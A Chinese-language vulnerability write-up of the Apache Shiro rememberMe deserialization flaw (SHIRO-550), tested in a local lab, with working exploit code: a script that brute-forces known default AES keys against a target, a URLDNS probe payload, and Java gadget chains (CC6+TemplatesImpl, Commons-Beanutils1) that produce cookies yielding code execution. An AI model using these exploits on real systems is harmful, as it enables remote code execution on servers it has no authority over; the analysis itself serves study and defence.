Shiro反序列化漏洞分析

Shiro反序列化漏洞分析

介绍

Apache Shiro 是一个开源安全框架,提供身份验证、授权、密码学和会话管理。

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

环境搭建

这里用的P神给的环境 :https://github.com/phith0n/JavaThings/tree/master/shirodemo

  • JDK 8u65
  • Tomcat 9
  • Shiro 1.2.4
  • Commons Collection 3.2.1
image-20220503150722177

漏洞分析

Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

加密分析

入口是在 AbstractRememberMeManager.onSuccessfulLogin 方法

image-20220503152537147

判断 token 是否为 true,然后调用 rememberIdentity

image-20220503152618507

看一下这个 getIdentityToRemember

image-20220503152646659

大致就是获取用户名赋值给 principals

回到rememberIdentity跟进this.rememberIdentity(subject, principals)

image-20220503152815905

跟进 convertPrincipalsToBytes 看看:

image-20220503152858042

先对用户名进行序列化处理,然后调用了个this.getCipherService()方法是否有返回值,跟进查看:

image-20220503153211245

返回了一种 AES 的加密方式CBC。

回到convertPrincipalsToBytes方法,接着调用this.encrypt(bytes)对序列化后的用户名进行加密操作,跟进:

image-20220503153408179

这里同样是先用getCipherService方法获取一个加密方式,如果不是空则用该加密方式调用encrypt方法进行加密,AES加密是个对称加密需要密钥,所以这里用getEncryptionCipherKey获取一个密钥,跟进看看:

image-20220503154042679

看来是直接返回了这个密钥,由于我们知道这个漏洞就是因为密钥是硬编码写好的造成的,所以我们往回找找这个密钥是哪里赋值的。

找到这个AbstractRememberMeManager类初始化的时候会,调用setCipherKey方法来设置密钥:

image-20220503154213718

跟进setCipherKey方法瞧一眼:

image-20220503154326855

正如上面说的AES是对称加密,加密和解密的密钥是同一个,这里就是用传进来的密钥分别赋值给加密密钥和解密密钥,跟进setEncryptionCipherKey

image-20220503154530858

这里就是直接赋值了(吐槽下,真套呀,不过还能看得懂,没套晕)

回到AbstractRememberMeManager类初始化的this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);这里,这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES实在类定义里面写好的:

image-20220503154801827

就是说这个 encryptionCipherKeykPH+bIxk5D2deZiIxcaaaA== 的解密,是一个常量 就是说让用户名的序列化和一个常量进入 cipherService.encrypt 进行加密:

image-20220503154937583

具体加密就不看了,不懂密码学。

总之对学列化后的用户名进行AES加密之后会返回字节到rememberIdentity方法:

image-20220503155134478

进入下一步的rememberSerializedIdentity方法:

image-20220503155219896

刚才都还是在AbstractRememberMeManager类里面调用,这时候就来到了CookieRememberMeManager类里面,看类名大概能猜到是处理cookie的了。

这里逻辑就是对传进来的字节进行base64加密,然后设置为名字为rememberMe的cookie值。

解密分析

现在我们从getRememberedIdentity开始分析,文件位置 org/apache/shiro/mgt/DefaultSecurityManager.java

image-20220503161826675

跟进到getRememberedPrincipals

image-20220503162108228

继续跟到getRememberedSerializedIdentity

image-20220503162232653

这里的逻辑是先获取cookie中rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。

返回 getRememberedPrincipals方法,下一步跟进 convertBytesToPrincipals方法:

image-20220503163304440

可以看到就进行了两个操作 decryptdeserialize。解密就是和加密的逆过程,不多说,进入 deserialize

image-20220503163534264

继续跟进套娃的deserialize

image-20220503163633961

发现readObject方法出现了,下面就可以愉快地进行反序列化了!

漏洞探测

指纹识别

在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。

AES密钥判断

前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。

那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

因此我们需要构造payload排除类型转换错误,进而准确判断密钥。

shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

这里给出大佬Veraxy的脚本:

import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes

    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY :" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

            if res.headers.get("Set-Cookie") == None:
                print("正确KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            print("正确key:" + key)
            return key
        except Exception as e:
            print(e)

利用

在知道密钥之后就可以着手进行反序列化漏洞利用啦。

URLDNS链

通过漏洞原理可以知道,构造Payload需要将利用链通过AES加密后在base64编码。将Payload的值设置为rememberMe的cookie值,这里借助ysoserial中的URLDNS链去打,由于URLDNS不依赖于Commons Collections包,只需要JDK的包就行,所有一半用于检测是否存在漏洞。

有这列给出python的利用代码:

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
    popen = subprocess.Popen([r'D:\Program Files\Java\jdk1.8.0_301\bin\java.exe', '-jar', r'F:\CTF资料\CTF工具\ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    # 替换dnslog
    payload = rememberme('http://dq6w3y.dnslog.cn')
    print("rememberMe={}".format(payload.decode()))

将得到的payload用Burp传入rememberMe的cookie值中:

当存在 JSESSIONID 时,会忽略 rememberMe,所以在攻击时需要将 JSESSIONID 删掉

image-20220503204228503

查看DNSLog记录:

image-20220503204219171

CC6+TemplatesImpl链

但是仅仅是URLDNS是不够的,我们想要的是执行恶意代码,所以先引入Commons Collections 3.2.1 包来进行利用构造。

首先我们尝试用CC6链来构造payload:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        innerMap.remove("keykey");
//        System.out.println(outerMap.isEmpty());

        // ==============
        // 将真正的transformers数组设置进来
        setFieldValue(transformerChain, "iTransformers", transformers);

        serialize(expMap);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

保存生成的ser.bin序列化的文件,然后使用加密脚本进行加密:

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.nio.file.FileSystems;
import java.nio.file.Files;

public class Shiro550Client {
    public static void main(String []args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\Coding\\Java\\VulTest\\CC\\ser.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

将生成的payload发过去:

image-20220503210929052

无事发生,查看服务端报错:

image-20220503211024125

我们找到异常信息的倒数第一行,也就是这个类: org.apache.shiro.io.ClassResolvingObjectInputStream 。可以看到,这是一个 ObjectInputStream的子类,其重写了 resolveClass() 方法:

image-20220503211623766

resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass() 方法:

image-20220503211732842

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName (实际上内部用到了 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),而后者用的是Java原生的 Class.forName

那么,我们在异常捕捉的位置下个断点,看看是哪个类触发了异常:

image-20220502223435834

可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 。这个类名看起来怪,其实就是表示 org.apache.commons.collections.Transformer 的数组。

这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

既然这里我们无法使用Transformer数组了,但是并不是就束手无策了,回顾一下CC链的调用图:

image-20220503212130134

我们不难发现实际上CC4和CC2是没有用到Transformer数组的,但CC4依赖的是Commons Collections4这个包,当前环境无法使用这条链,拿还有啥方法呢?

我们可以尝试去改造CC6这条链的后半部分,在CC6链中,我们用到了一个类, TiedMapEntry ,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个 getValue 方法,调用了map的get方法,并传入key:

public Object getValue() {
    return map.get(key);
}

当这个map是LazyMap时,其get方法就是触发transform的关键点:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

我们LazyMap.get(key)直接调用InvokerTransfomer.transform(key),然后像CC2那样调用TempalteImpl.newTransformer()来完成后续调用。

image-20220503224144641

整条利用链如图。

构造EXP:

首先还是创建 TemplatesImpl 对象:

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "aaaaa");
byte[] code = getTemplatesImpl("calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用newTransformer()方法的InvokerTransformer

InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

再把老的CommonsCollections6的代码复制过来,将原来TiedMapEntry 构造时的第二个参数key,改为前面创建的 TemplatesImpl 对象:

Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
lazyMap.remove(templates);

最后将lazyMap中假的Transformer对象改回真正有用的invokerTransformer对象:

setFieldValue(lazyMap, "factory", invokerTransformer);

最终EXP:

package Shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;


import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Shiro550 {
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String []args) throws Exception {
        //CC.CC3
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name", "aaaaa");
        byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\VulTest\\CC\\target\\classes\\Shiro\\EvilTemplatesImpl.class"));
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        //CC.CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        //CC.CC6
        Map hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "valuevalue");
        lazyMap.remove(templates);

        setFieldValue(lazyMap, "factory", invokerTransformer);


        serialize(expMap);
        unserialize("ser.bin");
    }
}

然后将生成的ser.bin序列化文件利用上面的加密脚本进行加密后发送过去,成功弹出计算器:

image-20220503215903703

Commons-Beanutils1链

上面的CC6+TemplatesImpl链是依赖于Commmons Collections软件包的,如果项目中没有用到的话就无法实现代码执行,那有没有只用Shiro自己的类就能实现代码执行的链呢?答案是有的。这里用到了Apache Commons Beanutils包。

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。关于JavaBean的说明可以参考这篇文章

简单的demo:

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class Bean {
    private String name = "cc";
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
        System.out.println("cc");
    }
}

demo包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。

在commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。

PropertyUtils.getProperty(new Bean(),"name");

此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。

如何利用这个PropertyUtils.getProperty()方法去构造我们的利用链呢?回顾CC链中没有用到Commons Collections包的部分,再次搬出这张图(最近这张图都要看魔怔了)

image-20220504154545723

其中红框的部分就是没有用到Commons Collections包的部分,如此一来,CC3中的TemplatesImpl实现类加载任意代码执行是跑不掉的,所以我们要找找那里能调用TemplatesImpl.newTransformer()方法,然后我们找到了TemplatesImpl.getOutputProperties()

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

它的内部调用了 newTransformer(),而 getOutputProperties 这个名字,是以 get 开头,正符合getter的定义。

所以, PropertyUtils.getProperty( obj, property ) 这段代码,当obj是一个 TemplatesImpl 对象,而 property 的值为 outputProperties 时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties() 方法,触发代码执行。

然后接着找那里能调用PropertyUtils.getProperty(),我们找到的是commons-beanutils包中 org.apache.commons.beanutils.BeanComparatorcompare()方法:

public int compare(Object o1, Object o2) {
    if (this.property == null) {
        return this.comparator.compare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.comparator.compare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。

这里熟悉CC链的的师傅就发现了,compare()方法在CC4这条链的前半部分就能调用,我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了。看图!

image-20220503224942895

下面就来写EXP:

  • 首先还是创建TemplateImpl:
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\VulTest\\CC\\target\\classes\\Shiro\\EvilTemplatesImpl.class"));
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  • 然后,实例化BeanComparator,BeanComparator 构造函数为空时,默认的 property 就是空:
final BeanComparator comparator = new BeanComparator();
  • 然后用这个comparator实例化优先队列 PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

我们添加了两个无害的可以比较的对象进队列中。BeanComparator.compare() 中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对两个 1 进行排序。初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。

  • 然后,我们再用反射将 property 的值设置成恶意的 outputProperties ,将队列里的两个1替换成恶意的 TemplateImpl 对象:
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

最后完整的EXP:

package Shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fileName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\VulTest\\CC\\target\\classes\\Shiro\\EvilTemplatesImpl.class"));
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();

        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        serialize(queue);
        unserialize("ser.bin");
    }

}
image-20220504160452221

将生成的ser.bin文件通过加密脚本加密:

import base64
from Crypto.Cipher import AES

with open(r"F:\code\java_file\ser\ser.bin","rb") as f:
    byte_POC = f.read()
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(byte_POC)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    print("rememberMe={}".format(base64_ciphertext.decode()))

成功弹出计算器:

image-20220504170525584

注意事项:

  • Shiro版本问题

yso 中的链子打不通是因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3

服务端会显示报错:

org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。

  • Commons Collections依赖问题

服务端报错:

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

我们先来看看 org.apache.commons.collections.comparators.ComparableComparator 这个类在哪里使用了:

image-20220504113522618

BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator

既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

通过IDEA的功能,我们找到一个 CaseInsensitiveComparator。这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了ComparatorSerializable` ,且位于Java的核心代码中,兼容性强,是一个完美替代品。

我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator :

final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);

最终EXP:

package Shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fileName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\VulTest\\CC\\target\\classes\\Shiro\\EvilTemplatesImpl.class"));
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        serialize(queue);
        unserialize("ser.bin");
    }

}

参考资料

Apache Shiro-550反序列化漏洞分析

shiro反序列化

17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)

小姐姐带你看Shiro反序列化漏洞利用

Java反序列化漏洞分析(一)-Shiro550

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇